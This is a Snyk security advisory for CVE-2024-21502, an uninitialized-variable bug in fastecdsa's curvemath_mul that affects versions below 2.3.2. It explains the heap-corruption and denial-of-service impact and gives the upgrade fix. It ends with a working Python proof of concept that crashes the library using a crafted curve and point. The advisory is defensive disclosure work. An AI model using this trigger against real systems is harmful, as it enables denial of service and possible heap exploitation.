Use of Uninitialized Variable Affecting fastecdsa package, versions [,2.3.2)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-FASTECDSA-6262045
- published23 Feb 2024
- disclosed20 Feb 2024
- creditVladimir Cherepanov
Introduced: 20 Feb 2024
CVE-2024-21502 (opens in a new tab)How to fix?
Upgrade fastecdsa to version 2.3.2 or higher.
Overview
fastecdsa is a python package for doing fast elliptic curve cryptography, specifically digital signatures.
Affected versions of this package are vulnerable to Use of Uninitialized Variable on the stack, via the curvemath_mul function in src/curveMath.c, due to being used and interpreted as user-defined type. Depending on the variable's actual value it could be arbitrary free(), arbitrary realloc(), null pointer dereference and other. Since the stack can be controlled by the attacker, the vulnerability could be used to corrupt allocator structure, leading to possible heap exploitation. The attacker could cause denial of service by exploiting this vulnerability.
PoC
#!/usr/bin/env python3
import sys
print(sys.version)
from fastecdsa.curve import Curve
from fastecdsa.point import Point
import time
time.sleep(2) # time to attach in gdb
MyCurve = Curve(
p = 0x10001,
a = 0x3,
b = 0x0,
q = 0x10202,
gx = 0x427e,
gy = 0x4ccb,
name = 'MyCurve',
)
P = Point(x = 0, y = 0, curve = MyCurve)
print(P)
Q = 123 * P # trigger is here
print(Q)